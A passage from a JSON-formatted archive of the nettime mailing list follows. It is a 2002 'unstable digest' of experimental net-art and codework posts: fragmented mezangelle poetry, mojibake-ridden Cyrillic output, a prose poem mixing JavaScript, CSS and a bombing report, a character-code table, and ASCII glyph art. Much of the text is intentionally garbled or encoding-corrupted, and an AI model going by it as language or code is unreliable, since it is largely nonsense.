nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 8 Sep 2002 00:50:13 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200209082017.g88KHpt13841 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0209/msg00035.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 11"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00121",
                "content": "\nFrom: Rhizome <info {AT} rhizome.org>\nSubject: Your Recent Email to Rhizome\nDate: Wed, 23 Oct 2002 03:12:53 -0400\n\nYour recent post to Rhizome has bounced. This generally happens because\nthe email was sent incorrectly. Here are some tips to help you:\n\n+ You must be subscribed to a Rhizome email list to post. Your\nsubscription info can be seen here: http://rhizome.org/subscribe.rhiz\n\n+ You must post from the address with which you are subscribed to\nRhizome. For your reference, here is the email address you used:\n\n    7-11 <7-11 {AT} mail.ljudmila.org>\n\n+ To post to Rhizome Raw, Rhizome Digest, or Rhizome Rare you must use \nlist {AT} rhizome.org. We use this single address for all incoming email. \n\n+ To subscribe to Rhizome, please visit http://rhizome.org/fresh\nand click on \"Become a member.\"\n\n+ To unsubscribe from Rhizome, or to make any changes to your current \nsubscription, please visit http://rhizome.org/subscribe.rhiz. You will\nbe prompted first to log in using your email address and password. \n\nAnd if you want to talk to a real person, please email Francis at \nfrancis {AT} rhizome.org. \n\nThanks!\n\n>From owner-list {AT} rhizome.org  Wed Oct 23 03:12:51 2002\n>Received: (from mjrdomo {AT} localhost)\n>\tby rhizome1.client.dti.net (8.10.2/8.10.2) id g9N7Cnt14209;\n>\tWed, 23 Oct 2002 03:12:49 -0400\n>Date: Wed, 23 Oct 2002 03:12:49 -0400\n>From: owner-list {AT} rhizome.org\n>Message-Id: <200210230712.g9N7Cnt14209 {AT} rhizome1.client.dti.net>\n>To: raw-approval {AT} rhizome.org\n>Subject: BOUNCE raw {AT} rhizome.org:    Non-member submission from [7-11 <7-11 {AT} mail.ljudmila.org>]   Message too long (>80000 chars)  \n\n\n\nDate:         Tue, 22 Oct 2002 10:02:24 +1000\nFrom: \".traumachine.\" <netwurker {AT} HOTKEY.NET.AU>\nSubject: Re: <.SNIP.>E\n\nAt 04:40 AM 21/10/2002 -0700, you wrote:\n\n\n\n>u raise blather-foam + r *not* GNU silicon-soaked; contrived from\n>somnambu][turn.table][lism\n>u luv the l][acuna][oom & C.crete the facile spin. u r.ape\n>with soma,\n>][naked][ lunch stom.aches with jaded ribs + suck words\n>phreak.ing & wracking down yr side.\n>wr.eye.ting sinks in s][ub.standard][niper.down; liminal variablity\n>when pressured +\n>saurian over.kill][ahs][. Shouldering moss.texts, u\n>gesture +\n>cross yrself with laptop blood.\n>\n>u fin][shell.f][ish + blurb. Damage + rastering facts + rage theses\n>reznor copy.cat + dropping yr visor in false dis.course tournament.\n>      yr mark:: uncommunicative, lye + hog fat.uousness\n>with no weight.\n>surges of f][ull][rontals do not a action(script) make. yr musk-scripts\n>keen +\n>stop f][m][oment(s)\n>again, (blindness-is-the-new-literary-winter, skipping the soft.ware juice\n>2\n>suspend rhythmical + wilt in ball.less routines. Yr\n>words abs][re][cess\n>while aims r set 2 rote. Cross dreams with s(ignifier)trychnine;\n>quill blest\n>with crusted, barfing repeat dogs + lined symb][c][olic pages. yr blocs\n>+ travel.liniments r ratified\n>4ever. u echo planes of meat\n>thru a #D-flat sky.scrape\n>wounded with sic() growth.\n>       yr text arcs spit canons: the ooze\n>stipples: the\n>fin of tabs + locks + n.serts:\n>4 u, 4 always.\n>\n>=====\n\n\n.           .    ....         .....\npro][tean][.lapsing.txt\n.\n.\n\nwww.cddc.vt.edu/host/netwurker/\nhttp://www.hotkey.net.au/~netwurker/\nhttp://www.hotkey.net.au/~netwurker/display.myopia.swf\n\n\n\n.... .               .???  .......\n\n\n\n\nDate:         Mon, 21 Oct 2002 15:26:19 -0700\nFrom: Lanny Quarles <solipsis {AT} HEVANET.COM>\nSubject: ?????????.?-??:razbiram\n\n\nNOB-BRRRT-ODDY\n\n\n------------------------------------------------------------kazvash: -\u0110\u02dd\u0110\u013e\u0110\u017c\u0110\u017e\u0110\u02c7\u0110\u02dd\u0110\u00b0\u0143\u0082\u0110\u00b0 \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\nsjsjeu: -\u0102\u00ad\u0102\u013d\u0102\u017b\u0102\u017d\u0102\u00a7\u0102\u00ad\u0102\n\n\u0102\u02db\u0102\n\n \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\nse :\u0110\u00a7\u0110\u00b0\u0143\u0081\u0143\u0082\u0110\u00b8\u0143\u0086\u0110\u00b0, :189 1 \u0110\u017e\u0143\u0081\u0110\u02dd.\u0143\u0084-\u0110\u017a\u0110\u00b0:se \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\ndsosopap: -\u0102\u00ad\u0102\u013d\u0102\u017b\u0102\u017d\u0102\u00a7\u0102\u00ad\u0102\n\n\u0102\u02db\u0102\n\n \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\nobichate: -\u0110\u02dd\u0110\u013e\u0110\u017c\u0110\u017e\u0110\u02c7\u0110\u02dd\u0110\u00b0\u0143\u0082\u0110\u00b0 \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\nkillerbio: -\u0102\u00ad\u0102\u013d\u0102\u017b\u0102\u017d\u0102\u00a7\u0102\u00ad\u0102\n\n\u0102\u02db\u0102\n\n \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\nizvinyavayte: -\u0110\u02dd\u0110\u013e\u0110\u017c\u0110\u017e\u0110\u02c7\u0110\u02dd\u0110\u00b0\u0143\u0082\u0110\u00b0 \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\nvon: -\u0102\u00ad\u0102\u013d\u0102\u017b\u0102\u017d\u0102\u00a7\u0102\u00ad\u0102\n\n\u0102\u02db\u0102\n\n \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\nangliyski: -\u0110\u02dd\u0110\u013e\u0110\u017c\u0110\u017e\u0110\u02c7\u0110\u02dd\u0110\u00b0\u0143\u0082\u0110\u00b0 \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\nmissi: -\u0102\u00ad\u0102\u013d\u0102\u017b\u0102\u017d\u0102\u00a7\u0102\u00ad\u0102\n\n\u0102\u02db\u0102\n\n \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\nrazbiram :\u0110\u0093\u0110\u0165\u0110\u00b0\u0110\u0142\u0110\u017e\u0110\u0165, \u0143\u0081\u0110\u013e\u0110\u0142.\u0110\u02db\u0143\u0080.,\u0110\u013e\u0110\u00b4.\u0143\u0087.,1\u0110\u0165. :186 1 \u0110\u017e\u0143\u0081\u0110\u02dd.\u0143\u0084-\u0110\u017a\u0110\u00b0:razbiram \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\nollo: -\u0102\u00ad\u0102\u013d\u0102\u017b\u0102\u017d\u0102\u00a7\u0102\u00ad\u0102\n\n\u0102\u02db\u0102\n\n \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\nnosht: -\u0110\u02dd\u0110\u013e\u0110\u017c\u0110\u017e\u0110\u02c7\u0110\u02dd\u0110\u00b0\u0143\u0082\u0110\u00b0 \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\nito: -\u0102\u00ad\u0102\u013d\u0102\u017b\u0102\u017d\u0102\u00a7\u0102\u00ad\u0102\n\n\u0102\u02db\u0102\n\n \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\nsuprug: -\u0110\u02dd\u0110\u013e\u0110\u017c\u0110\u017e\u0110\u02c7\u0110\u02dd\u0110\u00b0\u0143\u0082\u0110\u00b0 \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\nhabbbittti: -\u0102\u00ad\u0102\u013d\u0102\u017b\u0102\u017d\u0102\u00a7\u0102\u00ad\u0102\n\n\u0102\u02db\u0102\n\n \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\naz :\u0110\u009c\u0110\u013e\u0143\u0081\u0143\u0082\u0110\u017e\u0110\u00b8\u0110\u017a\u0110\u013e\u0110\u02dd\u0110\u00b8\u0110\u013e, :90 1 \u0110\u017e\u0143\u0081\u0110\u02dd.\u0143\u0084-\u0110\u017a\u0110\u00b0:az \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\nolloop: -\u0102\u00ad\u0102\u013d\u0102\u017b\u0102\u017d\u0102\u00a7\u0102\u00ad\u0102\n\n\u0102\u02db\u0102\n\n \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\npriyatel: -\u0110\u02dd\u0110\u013e\u0110\u017c\u0110\u017e\u0110\u02c7\u0110\u02dd\u0110\u00b0\u0143\u0082\u0110\u00b0 \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\n                                                                                                                           |\n                                                                                                                           |\n\n  wadda madda? ich i tol hol hinneny. boukets de temps, toot all da farto|otin temps la mondo kanny of it. wadda nadda and hondaga too...l'eh, et, les demi-mondiques les smart-place-mats, ta hozan-ga et esta a son|nier avec and i  awithin les a tetes a -besoin the allois of awinged feather, a twice? never.                                                                                  |\n\n                                                                                                                            |\n\n                                                                                                                            |\n\n  --------------------------------------------------------------------------------------------------------------------------| \n\n  I can't remember seeing bacchii. Is bacchii correct?\n  however, like with betii betaa, \n  quite frequently 'meraa bachchaa' comes out of mouth \n  automatically when saying out of sheer love\n\n  (love)jalaaadjective + I can't rem\n  (love)thoRaaadjective + I can't se\n  (love)lambaaadjective + I can't bacc\n  (love)mahilaanoun_f + I can't I\n  (love)thaaaux_past + Is es est est ast esti ba bac bacc\n  (love)paaniinoun_f + chi chii ch c h i\n  (love)accaaadjective + correct?\n  (love)nayaaadjective + how like\n  (love)andarloc_postp + bet\n  (love)aageloc_postp + bet\n  (love)uuparloc_postp + qui\n  (love)orloc_postp + freq\n  (love)taraphloc_postp + mer\n  (love)niiceloc_postp + bac\n  (love)pahleloc_postp + com\n  (love)paasloc_postp + ou\n  (love)piiceloc_postp + o\n  (love)baadloc_postp + mout\n  (love)baareloc_postp + aut\n  (love)baaharloc_postp +when'\n  (love)liepurp_postp + say'\n  (love)saathsoc_postp + shee\n  +++++++++++++++++++++++++++++++++++++++++++++++|\n                                                                                                |\n                                                                                                |\n                                                                                                |\n  \"I am not Chinese.\"\n\n  repit: -\u0102\u00ad\u0102\u013d\u0102\u017b\u0102\u017d\u0102\u00a7\u0102\u00ad\u0102\n\n\u0102\u02db\u0102\n\n \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\n  dobro :\u0110\u009f\u0143\u0080\u0110\u00b8\u0110\u0165\u0110\u00b0\u0110\u0142\u0110\u00b0\u0143\u0082\u0110\u013e\u0110\u0165\u0110\u02dd\u0110\u017e, \u0143\u0081\u0143\u0080.\u0143\u0080., \u0110\u013e\u0110\u00b4.\u0143\u0087., \u0110\u00b8\u0110\u0165\u0110\u00b8 \u0110\u02dd\u0110\u00b0\u0143\u0080\u0110\u013e\u0143\u0087\u0110\u00b8\u0110\u013e :80 4 \u0110\u017e\u0143\u0081\u0110\u02dd.\u0143\u0084-\u0110\u017a\u0110\u00b0:dobyr \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\n  eleo: -\u0102\u00ad\u0102\u013d\u0102\u017b\u0102\u017d\u0102\u00a7\u0102\u00ad\u0102\n\n\u0102\u02db\u0102\n\n \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\n  dobro :\u0110\u0104\u0143\u008a\u0143\u0089. \u0143\u0081\u0110\u017e\u0110\u0105\u0143\u0081\u0143\u0082\u0110\u02db\u0110\u013e\u0110\u02dd\u0110\u017e, \u0110\u017e\u0110\u0105\u0143\u0080\u0143\u008a\u0143\u0089\u0110\u013e\u0110\u02dd\u0110\u00b8\u0110\u013e :216 2 \u0110\u017e\u0143\u0081\u0110\u02dd.\u0143\u0084-\u0110\u017a\u0110\u00b0:dobra \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\n  did: -\u0102\u00ad\u0102\u013d\u0102\u017b\u0102\u017d\u0102\u00a7\u0102\u00ad\u0102\n\n\u0102\u02db\u0102\n\n \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\n  dobro :\u0110\u009d\u0110\u00b0\u0143\u0080\u0110\u013e\u0143\u0087\u0110\u00b8\u0110\u013e, :188 1 \u0110\u017e\u0143\u0081\u0110\u02dd.\u0143\u0084-\u0110\u017a\u0110\u00b0:dobro \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\n  uffuio: -\u0102\u00ad\u0102\u013d\u0102\u017b\u0102\u017d\u0102\u00a7\u0102\u00ad\u0102\n\n\u0102\u02db\u0102\n\n \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\n  utro :\u0110\u0104\u0143\u008a\u0143\u0089\u0110\u013e\u0143\u0081\u0143\u0082\u0110\u02db\u0110\u00b8\u0143\u0082\u0110\u013e\u0110\u0165\u0110\u02dd\u0110\u017e, \u0143\u0081\u0143\u0080.\u0143\u0080. \u0110\u013e\u0110\u00b4.\u0143\u0087. :54 1 \u0110\u017e\u0143\u0081\u0110\u02dd.\u0143\u0084-\u0110\u017a\u0110\u00b0:utro \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\n  osieowpso: -\u0102\u00ad\u0102\u013d\u0102\u017b\u0102\u017d\u0102\u00a7\u0102\u00ad\u0102\n\n\u0102\u02db\u0102\n\n \u0107\u0088\u0091\u00e4\u00b8\u008d\u0107\u0098\u017b\u00e4\u00b8\u00ad\u013a\u009b\u02dd\u00e4\u015f\u015f\n\n\n\n\n\n\n\nDate: Thu, 24 Oct 2002 14:15:06 -0400\nFrom: \" \" <sebastian {AT} rolux.org>\nSubject: textz.com has been relaunched today\n\n\n+---------------------------------------+\n|                                       |\n|  textz.com has been relaunched today  |\n|                                       |\n|  --> http://textz.com     ... thanks  |\n|                                       |\n|  o__o   |_ /) / |_ ^/   /^ / |/|/|  |\n|  /::\\_  \\_ \\_ / \\_ /_ o \\_ / | | |  |\n|  we  are  the  &  in  copy  &  paste  |\n|                                       |\n+---------------------------------------+\n\n\n\n\n\n\n\nDate:         Tue, 22 Oct 2002 04:41:18 -0700\nFrom: lewis lacook <llacook {AT} YAHOO.COM>\nSubject: \"I think today may be more amber,\"\n\nToday's golden with engineering, Brad says to Brittany\nover the covers, who plows through the dark like a\nrifle's antique fin evoking erect series' retention\nwith impacted capacities. \"Sky's like an antique paper\nor the skin of old plants meshing with horizontal\nnodes.\"\n        Today, it shoulde be noted, loads into a new browser\nwindow via javascript popup advertising; ineffective\nas it may be, and  regardless of function rs(n,u,w,h)\n{\n  remote = window.open(u, n, 'width=' + w + ',height='\n+ h +',resizable=yes,scrollbars=yes');\n  if (remote != null) {\n    if (remote.opener == null)\n      remote.opener = self;\n    window.name = 'myYahooRoot';\n    remote.location.href = u;\n  }. Maybe there's blood in your mouth, which commends\nwith hooks the waters and their skimming over: Brad\nand Brittany asleep,  eyelids pressed like petals on\nthe white box truck foaming, we got the whole of the\nsun nozzled in our vegetation outside, he whispers to\nher rustily over an older skin of ferns brushing\njapanese calligraphy, maybe there's blond in your\nmonth of modes spilling lipid dreams.\n        body { color:#000000; background:#ffffff;\nfont-family:frutiger,arial,helvetica; font-size:10pt;}\nbody A { color:#000000; }\n\n        My body is no color of notepad stretched, she\nmentions in passing a sport utility vehicle primed\nwith a powerful bomb slammed into an Israeli bus at\nrush hour here this afternoon, and once more we're as\nnaked and as soft as new skin ready for puncture going\nto work. \"I think today may be more amber,\" you gasp,\nthe engine and transmission of the vehicle carrying\nthe explosives lay some 50 yards from the bus, by a\nleft leg severed below the knee.\n\n\n=====\n\nhttp://www.lewislacook.com/\nhttp://artists.mp3s.com/artists/385/lewis_lacook.html\nmeditation, net art, poeisis: blog   http://lewislacook.blogspot.com/\n\n\n__________________________________________________\nDo you Yahoo!?\nY! Web Hosting - Let the expert host your web site\nhttp://webhosting.yahoo.com/\n\n\n\n\nDate:         Tue, 22 Oct 2002 10:59:16 -0700\nFrom: \"[]\" <kanztanz {AT} YAHOO.COM>\nSubject: Too three immplaccabble Cootsods oof WoWar and Popeacce pPaart a(j)\n\n  (forget nul) (what nul) (you nul) (knew nul)\n(davdami\nnul) (by nul) (shiva's nul) (kuzzilbash nul) (we nul)\n(are nul) (now nul) (out nul) (of nul) (constantinopol\nnul) (you nul) (kythee nul) (kiddigeree nul) (hirrawen\nnul) (and nul) (in pron_pl_close) (mal nul) (hing nul)\n(se prep_ablinst dative) (near nul) (popper nul) (cake\nnul) (istanbul nul)\n\n\n\n\nhttp://islam.org/culture/Calligraphy/cp26.jpg\n\n\n   0   ''\n   1   ' '\n   2   ' '\n   3   ' '\n   4   ' '\n   5   ' '\n   6   ' '\n   7   ' '\n   8   ' '\n   9   '        '\n  10   ''\n  11   ' '\n  12   ' '\n  13   '\n'\n  14   ' '\n  15   ' '\n  16   ' '\n  17   ' '\n  18   ' '\nhttp://www.pitt.edu/~haskins/sites/Alexandropol4.jpg\n  19   ' '\n  20   ' '\n  21   ' '\n  22   ' '\n  23   ' '\n  24   ' '\n  25   ' '\n  26   ' '\n  27   ' '\n  28   ' '\n  29   ' '\n  30   ' '\n  31   ' '\n  32   ' '\n  33   '!'\nhttp://pages.sssnet.com/7genex7/carvcatb.jpg\n  34   '\"'\n  35   '#'\n  36   '$'\n  37   '%'\n  38   '&'\n  39   '''\n  40   '('\n  41   ')'\n  42   '*'\n  43   '+'\n  44   ','\n\nhttp://www.pitt.edu/~haskins/sites/Chertomlyk1.jpg\n  45   '-'\n  46   '.'\n  47   '/'\n  48   '0'\n  49   '1'\n  50   '2'\n  51   '3'\n  52   '4'\n  53   '5'\n  54   '6'\n  55   '7'\n  56   '8'\n  57   '9'\n  58   ':'\n  59   ';'\n  60   '<'\n  61   '='\n  62   '>'\n  63   '?'\nhttp://pages.sssnet.com/7genex7/opc.jpg\n  64   ' {AT} '\n  65   'A'\n  66   'B'\n  67   'C'\n  68   'D'\n  69   'E'\n  70   'F'\n  71   'G'\n  72   'H'\n  73   'I'\n  74   'J'\n  75   'K'\n  76   'L'\n  77   'M'\n  78   'N'\n  79   'O'\n  80   'P'\n  81   'Q'\n  82   'R'\n  83   'S'\n  84   'T'\n  85   'U'\nhttp://www.mahq.net/gallery/gundam/official/gallery08/msgirl006.jpg\n  86   'V'\n  87   'W'\n  88   'X'\n  89   'Y'\n  90   'Z'\n  91   '['\n  92   '\\'\n  93   ']'\n  94   '^'\n  95   '_'\n  96   '`'\n  97   'a'\n  98   'b'\n  99   'c'\n  100   'd'\n\nhttp://www.jewfaq.org/graphics/rashi.gif\n  101   'e'\n  102   'f'\n  103   'g'\n  104   'h'\n  105   'i'\n  106   'j'\n  107   'k'\n  108   'l'\n  109   'm'\n\nhttp://users.pandora.be/worldhistory/images/ammonites.jpg\nhttp://users.pandora.be/worldhistory/images/andaloesie.jpg\n\n  110   'n'\n  111   'o'\n  112   'p'\n  113   'q'\n  114   'r'\n  115   's'\n  116   't'\n  117   'u'\n  118   'v'\n  119   'w'\n  120   'x'\nhttp://www.asiawind.com/art/callig/yishanb.gif\n  121   'y'\n  122   'z'\n  123   '{'\n  124   '|'\n  125   '}'\n  126   '~'\nhttp://indoeuro.bizland.com/tree/slav/church.jpg\n  127   ' '\n  128   '\u0080'\n  129   '\u0081'\n  130   '\u0082'\n  131   '\u0083'\n  132   '\u0084'\n  133   '\u0085'\n  134   '\u0086'\n  135   '\u0087'\n  136   '\u0088'\n  137   '\u0089'\n  138   ' '\n  139   '\u008b'\n  140   '\u008c'\n\nhttp://www.asiawind.com/art/callig/jiaguwen.jpg\n  141   '\u008d'\n  142   '\u008e'\n  143   '\u008f'\n  144   '\u0090'\n  145   '\u0091'\n  146   '\u0092'\n  147   '\u0093'\n  148   '\u0094'\n  149   '\u0095'\n  150   '\u0096'\n  151   '\u0097'\n  152   '\u0098'\n  153   '\u0099'\n  154   '\u009a'\n  155   '\u009b'\n  156   '\u009c'\n\nhttp://islam.org/culture/Calligraphy/Calig1.jpg\n  157   '\u009d'\n  158   '\u009e'\n  159   '\u009f'\n  160   ' '\n  161   '\u0104'\n  162   '\u02d8'\n  163   '\u0141'\n  164   '\u00a4'\n  165   '\u013d'\n  166   '\u015a'\n  167   '\u00a7'\n\nhttp://islam.org/culture/Calligraphy/cp26.jpg\n  168   '\u00a8'\n  169   '\u0160'\n  170   '\u015e'\n  171   '\u0164'\n  172   '\u0179'\n  173   '\u00ad'\n  174   '\u017d'\n  175   '\u017b'\n  176   '\u00b0'\n  177   '\u0105'\n  178   '\u02db'\n  179   '\u0142'\n  180   '\u00b4'\n\nhttp://www.animeam.com/joingraphics/leftpic-animeam.jpg\n\nhttp://www.asylum-anime.com/figures/fig_evaasusega.jpg\n\nhttp://www.asylum-anime.com/figures/fig_grgin-1.jpg\n\nhardcore\nhttp://www.&data=m%D8%5B(M%2B%1Fq%A1uG%A41%E4E%16%8E%CE%9B%C2P-%10%F3%C\n6%07%C5%0D1%B8%AB1VM%5D%26%A3%09%C3.%2B%B14R%E4p%8A%F64%F5%27%98c%9C%1A\n%27%10%1A%02i%7D%A3%CF%B6h%5D%DCTI%E8%8F0r%3A%BF%2Cn%16%AC%A6AhA%2F%F2%\nC6%0C%FE%F3%0A9%85ATV%00%1B%BC%E6%F2%A3%1C%F2%17%04%88k%A5%25%F8%EE%D0%\nD1%B9%18%3B%29%10%80%18E%F7a%90%DC%827H%D4%B6%17%D8%A82%E4n%A2%60%8Ee%D\n4A%15%92%B82U%CD%EE%85%D8%07%0C%1)1%09c%B6%BC%C4%AEG%E7U%9A%03%E2%C3%E8\n5R%15%BF%CFs%9E%CB%9EVS%B7B6h%5D%DCTI%E8%8F0r%3A%BF%2Cn%16%\n\n\nhttp://www.asylum-anime.com/figures/fig_fssest.jpg\n  181   '\u013e'\n  182   '\u015b'\n  183   '\u02c7'\n  184   '\u00b8'\n  185   '\u0161'\n  186   '\u015f'\n  187   '\u0165'\n  188   '\u017a'\n  189   '\u02dd'\n  190   '\u017e'\n  191   '\u017c'\n  192   '\u0154'\n  193   '\u00c1'\n  194   '\u00c2'\n  195   '\u0102'\n  196   '\u00c4'\n\nhttp://133.1.96.43/~seke/tsaou/romanize/eraname.html\n  197   '\u0139'\n  198   '\u0106'\n\n\n\n__________________________________________________\nDo you Yahoo!?\nY! Web Hosting - Let the expert host your web site\nhttp://webhosting.yahoo.com/\n\n\n\n\nDate:         Mon, 21 Oct 2002 00:48:59 -0700\nFrom: august highland <hmfah {AT} HOTMAIL.COM>\nSubject: URBAN TEXT KULT MADDY PORTER P I C #002\n\nMADDY PORTER\n\nP I C #002             excerpt\nwww.urbantextkult.com\n\n4``L !!##!!!####%%%%%%'%' \"$ %#&%)))()+(+)++---//,.//*-/, /1179;==, 156!\n/79\" ;;# =# =% ;!;#;!;#; ! ! # % ' )) ))\n!\"\"+!!$$&%##%%'')$*+-*0145557784797999\"\"\"!&$%&00--(9--</.>!7#$='':(): ).4+31\n-//?1/?: 9)9/9%-9'/; '/6//='/999;93; '1='1=)2=)3?)3`j`Vi_i_i_i_i_i_\ni_UNXIX^`V_i_i_i_i_i_UXIj`U]i_ i_i_i_i_i_ iVKIXd`\nU]_i_i_i_i_i_i_i_VIKXY`DM]i_i_ i_i_i_i_i_i]\\#) _`FD]_i_i_i_i_i_i_i\\W)^`\n#(]Wi_i_i_i_i_i_iNM\\`#(W\\_i_i_ i_i_i_i_]Mc`V_i_i_i_i_i_i_iVXX I_`Vi_i_i_\ni_i_VXKIR`MN_]i_i_i_i_i_i_i_\\# (KIXS`MU]_i_i_i_i_i_i_iW\\)\"IKX S`)#\\]_i_i\n_i_i_i_i_i_]FDV`)#\\_i_i_i_i_i_ i]DFN`Vi_i_i_i_i_i_i_UMXXW`V_i _i_i_i_i_i\n_UXXH`/U]i_i_i_i_i_i_i_i_VII`U ]_i_i_i_i_i_i_i_VKX?`DM]i_i_i_\ni_i_i_i]\\# )XC`FD]_i_i_i_i_i_i_i_\\])\"X?`# (]Wi_i_i_i_i_i_i_]MUX>`#(W\\_i_\ni_i_i_i_i_ i_NMXA`V_i_i_i_i_i_i_i_VXD`Vi_ i_i_i_i_i_i_V\nX9`UM_]i_i_i_i_i_i_i_i]\\#)X<`M N_]i_i_i_i_i_i_i_\\)#X<`)#\\]_i_ i_i_i_i_i_\ni_NMXB`)#]\\_i_i_i_i_i_i_]MNXC` V_i_i_i_i_i_i_VXB`Vi_i_i_i_i_i _VX\n {AT} `MN_]i_i_i_i_i_i_i_\\#\"XXC`MU] _i_i_i_i_i_i_i_\\#(\nXXF`)#\\]_i_i_i_i_i_i_i]FDXE`)# \\_i_i_i_i_i_i_i]DFXH`V_i_i_i_i _i_i_UNXXL\n`Vi_i_i_i_i_i_i_UXXL`U]_i_i_i_ i_i_i_i_i_\\V XXXF`U]_i_i_i_i_i_i_\\V\nXXXB`DM]_i_i_i_i_i_i_i]FDIKIXL `FD]i_i_i_i_i_i_i_]D\nIXKIH`#(]Wi_i_i_i_i_i_i_i_UVXG `#(W\\_i_i_i_i_i_i_VUX\nI`VU_i_i_i_i_i_i_i_i_\\#)XXK`UV ]_i_i_i_i_i_i_i_i\\]#(\nF`MD]_i_i_i_i_i_i_]MUIXXR`DF]i _i_i_i_i_i_i_NMKXXXS` VW_i_i_i_i_i_i_i_VXXW`\nV\\_i_i_i_i_i_iVXX^`UMi]_i_i_i_ i_i_i]W)#XXV`M_]i_i_i_i_i_i_\\] )\"X\nXN`)#]\\_i_i_i_i_i_i_i_]MUXX Z`)#\\]_i_i_i_i_i_i_i_NMZ`V_i_i\n_i_i_i_i_i_i_VIXM`V_i_i_i_i_i_ i_iVKXXf`U Mi]_i_i_i_i_i_i_i_\\])#XXXN`M_]\ni_i_i_i_i_i_i]\\#\"X\nXXf`)#]\\_i_i_i_i_i_i_iMUXX~Xd` )#\\]_i_i_i_i_i_i_i_NMX{c`V_i_i _i_i_i_i_i\n_i_V XXIvXI g`V_i_i_i_i_i_i_i_iWV XIXvKIj`UMi]_i_i_i_i_i_i_]DMXr\nX``MN_i_i_i_i_i_i_i]FDX XrXg`)#\\]_i_i_i_i_i_i_i_i_UXIn X\nXi`)#]\\_i_i_i_i_i_i_i_iUVXXkXk `VU_i_i_i_i_i_i_i_]\\)#XfXr`UV] _i_i_i_i_i\n_i_\\#\"X XcX Xd`MD]_i_i_i_i_i_i_i_iMUXX]Xq` DF]i_i_i_i_i_i_i_NMX[X Xm`\nV\\_i_i_i_i_i_i_i_iV XXVXXg` VW_i_i_i_i_i_i_WV XXSXXa`UMi_i_i_i_i_i_i_i]DMXXM\nXXo`MN_i_i_i_i_i_i_i_i]FDXXKXX i`)#\\]_i_i _i_i_i_i_i_iUXXDXXs`)#]\\_i_i_i\n_i_i_i_i_UVXXAXXc`VU_i_i_i_i_i _i_i_i_]\\# )XI XIX9KIX 